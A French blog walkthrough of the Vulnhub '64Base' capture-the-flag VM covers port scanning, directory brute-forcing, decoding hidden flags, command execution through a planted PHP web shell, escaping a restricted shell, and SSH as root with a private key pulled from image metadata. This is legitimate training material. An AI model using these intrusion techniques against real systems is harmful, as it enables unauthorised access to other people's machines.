Skip to content

VM Vulnhub : 64Base 1.01 Solution

Aujourd’hui je vous dévoile la solution d’une VM Vulnhub nommée « 64base 1.01 ». Cela fait quelques temps que je ne m’était pas penché sur ce genre d’exercice (faute aux bug bounty ! :p)

Au moment de l’écriture de cet article, il s’agit de la dernière machine virtuelle disponible sur Vulnhub, un site web qui regroupe un grand nombre de machines virtuelles vulnérables dédiées à l’entrainement. Je vous en parle dans cet article : Vulnhub : Testez vos connaissances en pentest !

Cette VM porte sur le thème de Star Wars, notre objectif est de voler les plans d’une base de l’Empire ! 😉

Scanning : May the Force be with you

Je commence par un premier scan Nmap :

nmap -sS -A 192.168.1.27

Celui-ci permet d’obtenir rapidement quelques résultats, et notamment les ports suivants :

22/tcp open ssh
80/tcp open http
4899/tcp open radmin

Pendant que je commence mes premières recherches, je lance un scan plus poussé sur tous les ports TCP moins connus. Par défaut, Nmap va scanner seulement les ports les plus connus/utilisés :

nmap 192.168.1.27 -p-

Avec cette option « -p-« , Nmap va scanner les 65535 ports en TCP. Dés lors, un port supplémentaire est trouvé :

Starting Nmap 7.31 ( https://nmap.org ) at 2016-12-21 15:01 CET
 Nmap scan report for 64base.home (192.168.1.27)
 Host is up (0.00059s latency).
 Not shown: 65531 closed ports
 PORT STATE SERVICE
 22/tcp open ssh
 80/tcp open http
 4899/tcp open radmin
 62964/tcp open unknown
 MAC Address: 08:00:27:88:0B:96 (Oracle VirtualBox virtual NIC)

Ce dernier semble cacher un autre service SSH :

root@kali:~/Documents/VULNHUB/64Base1.0.1# telnet 192.168.1.27 62964
 Trying 192.168.1.27...
 Connected to 192.168.1.27.
 Escape character is '^]'.
 SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3

Enumeration et premiers flags : I felt a great disturbance in the Force

Je commence donc par me rendre sur le port 80 afin de voir ce qui s’y trouve, le sous-titre de la page principale semble être sous forme base64 :

On prend la chaine et on décode avec l’outil natif sous Linux « base64 » :

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "dmlldyBzb3VyY2UgO0QK" |base64 -d
view source ;D

On peut rapidement aller voir le code source d’une page avec un Ctrl+U ou un clic droit « voir source » sur la page, on lisant le code HTML, on remarque un commentaire étrange :

Ce dernier ne semble pas être en base64, car tenter de le décoder retourne une chaine avec des caractères non lisibles. On peut envisager d’autres formes d’encodages, l’URL encode, l’ASCII, l’hexa.. Ce dernier donne un résultat concluant :

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a" | xxd -r -p
ZmxhZzF7TmpSaVlYTmxPbFJvTXpVelFISXpUakJVWkdGRWNqQXhSSHBWUUhKbFREQXdTekZwYm1jMENnPT19Cg==

Une chaine de caractère hexa peut être convertie en texte avec l’outil en ligne de commande « xxd » et les options utilisées plus haut.

L’hexadécimal se reconnait par l’utilisation exclusive des caractères ABCDEFG0123456789. Un simple outil « hexa to text » en ligne permet d’obtenir le même résultat. On obtient ce qui ressemble à nouveau à un encodage base64, que l’on peut décoder de la même façon :

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a" | xxd -r -p | base64 -d
flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}

Et voila notre premier flag ! Plus que 5 🙂

Au passage, ce flag contient (encore) une chaine au format base64 qui donne ceci une fois décodée :

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==" |base64 -d
64base:Th353@r3N0TdaDr01DzU@reL00K1ing4

On peut imaginer qu’il s’agisse de l’utilisateur « admin » du blog et de son mot de passe. En effet, on remarque que l’auteur des articles du blog se nomme « base64 ». Il nous suffit de trouver la page d’authentification. On peut utiliser pour cela plusieurs méthodes :

  • Trouver le nom du CMS utilisé, s’il y en a un, et ainsi retrouver dans la documentation les moyens de s’y authentifier
  • Effectuer un brute force des répertoires, manuel ou outillé

Je choisis pour commencer la deuxième option, avec quelques tentatives manuelles. Le répertoire /admin/ expose une authentification HTTP de type basic mais les identifiants obtenus ne semblent pas fonctionner.

A la racine du site web se trouve généralement un fichier /robots.txt qui permet d’interdire aux robots des moteurs de recherche de référencer certains dossiers ou pages web. Ce fichier est souvent une source d’informations intéressantes pour les pirates qui souhaitent trouver des répertoires/fichiers intéressants.

root@kali:~/Documents/VULNHUB/64Base1.0.1# wget http://192.168.1.27/robots.txt -O robots.txt
root@kali:~/Documents/VULNHUB/64Base1.0.1# grep "Disallow" robots.txt | cut -d " " -f2 > dir_list.txt

Je récupère le fichier robots.txt, puis le nettoie pour qu’il puisse servir d’input à dirbuster.

Dirb, ou dirbuster (sa version graphique) est un outil permettant d’effectuer du brute-force (ou énumération) de répertoires/fichiers web. Il peut notamment prendre une liste de noms en input pour orienter ses tests.

root@kali:~/Documents/VULNHUB/64Base1.0.1# dirb http://192.168.1.27 dir_list.txt
START_TIME: Wed Dec 21 12:58:18 2016
 URL_BASE: http://192.168.1.27/
 WORDLIST_FILES: dir_list.txt
-----------------
GENERATED WORDS: 429
---- Scanning URL: http://192.168.1.27/ ----
 + http://192.168.1.27//admin/ (CODE:401|SIZE:459)
 + http://192.168.1.27//88888/ (CODE:200|SIZE:0)
 + http://192.168.1.27//88888888/ (CODE:200|SIZE:0)
 + http://192.168.1.27//88888888888/ (CODE:200|SIZE:0)
 + http://192.168.1.27//88888888888P/ (CODE:200|SIZE:0)
 + http://192.168.1.27//c3P08P/ (CODE:200|SIZE:0)
 + http://192.168.1.27//C3p0/ (CODE:200|SIZE:0)
 [...]

Tous les répertoires retournent une taille de 0. Sauf le répertoire /admin.
On remarque, dans la page contact, des commentaires donnant des informations sur la façon dont le mail est envoyé une fois le formulaire validé. Je remarque au passage la présence d’un directory listing, notamment sur le répertoire « mail » :

Je décide alors d’exécuter dirbuster avec une liste un peu plus complète, car le premier n’a pas été très concluant Je trouve quelques répertoires supplémentaires pour le directory listing, mais rien de très intéressant.

Après une bonne heure de recherches infructueuses, je me décide à lire les articles du blog, il s’agit d’une VM vulnérable et non d’un bug bounty, rien n’est là par hasard en principe. A la fin de l’article, je trouve la mention suivante :

"Only respond if you are a real Imperial-Class BountyHunter".

La notion de réponse (respond) m’oriente vers le nom d’un répertoire. Je retourne dans le fichier /robots.txt et constate que /Imperial-Class/ y est présent. Je test alors un accès à ce répertoire pour tomber sur une nouvelle authentification .htaccess, cette fois-ci le login « 64base » trouvé lors du premier flag fonctionne. Il semblerait que cette entrée n’ai pas été correctement prise en compte par mon premier dirb. Comme quoi il est toujours intéressant de revérifier son travail lorsque l’on est bloqué.

Dans les commentaires de cette nouvelle page, je trouve une nouvelle indication :


Je me rends dans dans le répertoire/Imperial-Class/BountyHunter/ et tombe sur un nouveau formulaire. Le code source est intriguant :

Les chaines sont en hexadécimal et la version traduite en texte retourne du base64:

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" | xxd -r -p
ZmxhZzJ7YUhSMGNITTZMeTkzZDNjdWV

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "52714d544a54626d51315a45566157464655614446525557383966516f3d0a" | xxd -r -p
RqMTJTbmQ1ZEVaWFFUaDFRUW89fQo=

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32"| xxd -r -p
XOTFkSFZpWlM1amIyMHZkMkYwWTJnL2

On constate également que les « id » des deux champs sont étranges, ils font penser à une backdoor (fonction à utiliser, commande à exécuter).

Le décodage des chaines individuellement ne donne rien d’intéressant, je les concatène puis je cherche à avoir du texte depuis cette version hexa. J’obtiens un base64 qui a meilleur mine et décode ce dernier pour obtenir le second flag :

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c3252714d544a54626d51315a45566157464655614446525557383966516f3d0a" |xxd -r -p
ZmxhZzJ7YUhSMGNITTZMeTkzZDNjdWVXOTFkSFZpWlM1amIyMHZkMkYwWTJnL2RqMTJTbmQ1ZEVaWFFUaDFRUW89fQo=

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c3252714d544a54626d51315a45566157464655614446525557383966516f3d0a" |xxd -r -p |base64 -d
flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=}

A nouveau une chaine de caractères en base64 à l’intérieur du flag, celle-ci renvoie l’information suivante:

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=" | base64 -d
https://www.youtube.com/watch?v=vJwytFWA8uA

Une vidéo Youtube, voila qui est intéressant. Mais elle ne donne aucune information.
Il est maintenant temps de partir à la recherche du flag n°3. La page de login (/login) doit tout de même servir à quelque chose, en m’y rendant avec un navigateur, je suis constamment redirigé vers index.php, je décide donc d’y aller avec curl, au bout de plusieurs essais, je décide de tenter avec les premiers identifiants trouvés :

root@kali:~/Documents/VULNHUB/64Base1.0.1# curl -u 64base:Th353@r3N0TdaDr01DzU@reL00K1ing4 192.168.1.27/Imperial-Class/BountyHunter/login.php
flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2luLnBocD9mPWV4ZWMmYz1pZAo=}

Voila le flag n°3, on peut, comme toutes les autres, décoder le base64 :

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2luLnBocD9mPWV4ZWMmYz1pZAo=" | base64 -d
 53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id

On retrouve ici notre login.php avec la « documentation » de la backdoor détectée précédemment. En leet speak, on peut lire « Secret Shell », suivit d’un chemin qu’il suffit de copier coller.

Telle qu’indiquée, la backdoor ne fonctionne pas, je me rappel alors de l’image de l’article qui contenait une mention étrange « use system instead of exec to run the secret shell« . Je m’exécute en joignant l’URL suivante:

root@kali:~/Documents/VULNHUB/64Base1.0.1# curl -u 64base:Th353@r3N0TdaDr01DzU@reL00K1ing4 "192.168.1.27/Imperial-Class/BountyHunter/login.php?f=system&c=id"
[64base Command Shell]
flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==}
Debian GNU/Linux 8 \n \l
Fri Dec 23 14:06:12 GMT 2016
Linux 64base 3.16.0-4-586 #1 Debian 3.16.36-1+deb8u2 (2016-10-19) i686 GNU/Linux
          inet addr:192.168.1.27  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe88:b96/64 Scope:Link
          inet6 addr: 2a01:cb08:819f:5300:a00:27ff:fe88:b96/64 Scope:Global
uid=1001(64base) gid=1001(64base) groups=1001(64base)

J’obtiens au passage le flag n°4, qui, une fois décodé, donne ceci :

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "NjRiYXNlOjY0YmFzZTVoMzc3Cg==" |base64 -d
64base:64base5h377

Ce login ne fonctionne toujours pas pour la partie admin du site. On remarque au passage que le service web tourne sous « 64base ». Je continue l’exploitation de la backdoor pour fouiller un peu le serveur en question.

Accés SSH : Use the Force, Luke

Je tente de me logguer au deuxième port SSH avec ces identifiants mais ceux-ci ne fonctionnent pas, il faut en réalité utiliser le mot de passe en sa version base64 :

root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "64base5h377"| base64
NjRiYXNlNWgzNzcK

root@kali:~/Documents/VULNHUB/64Base1.0.1# ssh 64base@192.168.1.27 -p 62964
64base@192.168.1.27's password:
Last login: Tue Dec  6 05:10:28 2016 from 172.16.0.18
-rbash: mesg: command not found
64base@64base:~$

Il semblerait ici que l’on soit dans un terminal cloisonné, les commandes habituelles sont modifiées (il y a surement une variable d’environnement PATH modifiée, et/ou un chroot), faut s’échapper du bash restreint dans lequel nous sommes. On peut constater ce custom PATH en utilisant la commande « env » :

MAIL=/var/mail/64base
PATH=/var/alt-bin
PWD=/64base

On peut d’ailleurs lister les commandes auxquelles nous avons accès :

64base@64base:~$ echo $PATH/*
/var/alt-bin/awk /var/alt-bin/base64 /var/alt-bin/cat /var/alt-bin/dircolors /var/alt-bin/droids /var/alt-bin/egrep /var/alt-bin/env /var/alt-bin/fgrep /var/alt-bin/file /var/alt-bin/find /var/alt-bin/grep /var/alt-bin/head /var/alt-bin/less /var/alt-bin/ls /var/alt-bin/more /var/alt-bin/perl /var/alt-bin/python /var/alt-bin/ruby /var/alt-bin/tail

Toutes les commandes semblent être des commandes standards modifiées, sauf « droids », qui n’existe pas à ma connaissance. Je tente de l’exécuter, puis je remarque que celle-ci permettait simplement de sortir de la prison dans laquelle j’étais, j’ai maintenant accès à tout le système.

Nous voici maintenant dans un terminal standard, on peut naviguer dans le système plus librement. Après avoir fouillé dans le système, je décide d’aller voir ce qu’il se cachait dans ce fameux répertoire web /admin, j’y trouve le flag n°5 :

64base@64base:/var/www/html/admin$ ls
index.php  S3cR37

64base@64base:/var/www/html/admin$ ls S3cR37/
flag5{TG9vayBJbnNpZGUhIDpECg==}
64base@64base:/var/www/html/admin$ echo "TG9vayBJbnNpZGUhIDpECg==" |base64 -d
Look Inside! :D

Le dernier flag est surement caché là, dans le fichier flag5. Je commence par regarder le type fichier :

64base@64base:/var/www/html/admin/S3cR37$ file flag5\{TG9vayBJbnNpZGUhIDpECg\=\=\}
flag5{TG9vayBJbnNpZGUhIDpECg==}: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "4c5330744c5331435255644a546942535530456755464a4a566b4655525342", baseline, precision 8, 960x720, frames 3

Une image au format JPEG. L’espace commentaire, qui fait parti des metadatas du fichier, contient une chaine en hexa :

root@kali:~/Documents/VULNHUB/64Base1.0.1# exiftool flag5\{TG9vayBJbnNpZGUhIDpECg\=\=\}
ExifTool Version Number         : 10.36
File Name                       : flag5{TG9vayBJbnNpZGUhIDpECg==}
Directory                       : .
File Size                       : 192 kB
X Resolution                    : 72
Y Resolution                    : 72
Comment                         : 4c5330744c5331435255644a546942535530456755464a4a4c52566b744c53307[..]17051636d396a4c565235634755364944514c516f3d0a
Image Width                     : 960
root@kali:~/Documents/VULNHUB/64Base1.0.1# cat comment.txt |xxd -r -p| base64 -d > key.txt
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,621A38AAD4E9FAA3657CA3888D9B356C
mDtRxIwh40RSNAs2+lNRHvS9yhM+eaxxU5yrGPCkrbQW/RgPP+RGJBz9VrTkvYw6
YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz
8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel+6HGObF8Zh3MIchy8s1XrE0
kvLKI252mzWw4kbSs9+QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse
MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4+zhu6jOWYH
k2hdCHNSt+iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob
wXRf5BcGKU97xdorV2Tq+h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx+98K8KpWL
guJPRPKGijo96HDGc3L5YsxObVg+/fj0AvsKfrcV/lxaW+Imymc1MXiJMbmCzlDw
TAWmaqkRFDyA1HUvtvSeVqS1/HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd
2d3G+Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv
AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG
4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW+GkN9L+9CPy8+DNunFIwx
+T++7Qg/uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs
fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi
+j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19+Me8JEhQ8KNXDwQKDyULFOTsz
13VfBNxYsyL5zGXNzyqZ4I/OO7Med2j0Gz0g21iHA/06mrs2clds6SUBGEvn8NiV
rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy/e10F745xDMATKRlKZ6rYHMCxJ3Icnt
Ez0OMXYdC6CiF/IWtgdU+hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE
Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X/ReF/AaMxkbSdEOFsI
Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG
Yiaa5o7877/fw6YZ/2U3ADdiSOBm+hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj
qJanSk8175z0bjrXWdLG3DSlIJislPW+yDaf7YBVYwWR+TA1kC6ieIA5tU3pn/I3
64Z5mpC+wqfTxGgeCsgIk9vSn2p/eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v+P
fnHLQvEwIs+Bf1CpK1AkZeUMREQkBhDi72HFbw2G/zqti/YdnqxAyl6LZzIeQn8t
/Gj4karJ1iM9If39dM5OaCVZR/TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP
-----END RSA PRIVATE KEY-----

Il s’agit visiblement d’une clé privée, on peut donc en principe l’utiliser pour se connecter en SSH sur un des deux ports SSH identifiés !
Pour utiliser une clé précise, on utilise l’option « -i » de ssh :

ssh root@192.168.1.27 -i key.txt -p 62964

Pour le mot de passe de la clé privé, on peut tenter de le brute forcer, j’ai pour ma part trouvé en lisant l’image du flag5 qui comporte la mention « use the force »
Dernier petit challenge, la chaine de caractère du flag6 qui nous donne le chemin vers les fameux plans de la base de l’Empire :

root@64base:~# echo "NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK" |base64 -d | xxd -r -p | base64 -d |xxd -r -p | base64 -d
base64 -d /var/local/.luke|less.real

Voici son contenu :
Un challenge sympathique, quoi qu’un peu de guessing soit nécessaire à certains moments. Cela fait quelque temps que je n’avais pas fait de VM Vulnhub et je doit dire que l’exercice est tout de même différent des bugs bounty, auxquels je m’étais habitué ces derniers mois. En effet, outre le guessing, on oublie souvent que rien n’est là par hasard dans un tel challenge, les images, les articles de blog ont ici été des sources intéressantes pour trouver des flags

Partager :
Published inChallenges et CTFs

2 Comments

  1. ITPPA

    Simpa ce CTF, j’ai moi même passé une bonne soirée (nuit) dessus! J’ai bien galéré sur l’env cloisonnée avant de trouver le fameux ‘droids’ qui nous donne une belle matrice avant de nous donner un shell convenable
    64base@64base:/var/alt-bin$ cat droids
    #!/bin/bash
    echo  »’
    […..]
     »’
    /usr/bin/cmatrix
    /bin/bash
    J’ai personnellement fait une étape supplémentairement une fois dans ce shell, en effet, comme tu le montre dans la liste des commandes accessibles le créateur a volontairement créer un PATH perso dans /var/alt-bin qui modifie les commandes les plus utilisées tel ls ou cat:
    —————–
    64base@64base:/var/alt-bin$ ls
    awk base64 cat droids egrep env fgrep file find grep head less ls more perl python ruby tail
    64base@64base:/var/alt-bin$ cat ls
    #!/bin/bash
    /bin/ls
    ————-
    Ce qui nous empêche de faire un bon post-exploitation du serveur. (un ls -l ne prenait pas les options et cat retourne une image ASCII)
    J’ai du remettre un PATH correct pour faire de bonne recherches:
    $export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/
    Voila, sinon il semble que les images 4 et 5 de l’article soit inversée, tu montre l’acces a la page /Imperial-Class/BountyHunter/ avant de l’avoir trouve dans le code source de l’index de /Imperial-Class/ ;D
    Salut

  2. Thierry Marechal

    Mickael je ne suis pas un expert mais tes articles font rêver.
    Je te remercie de partager tes challenges.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *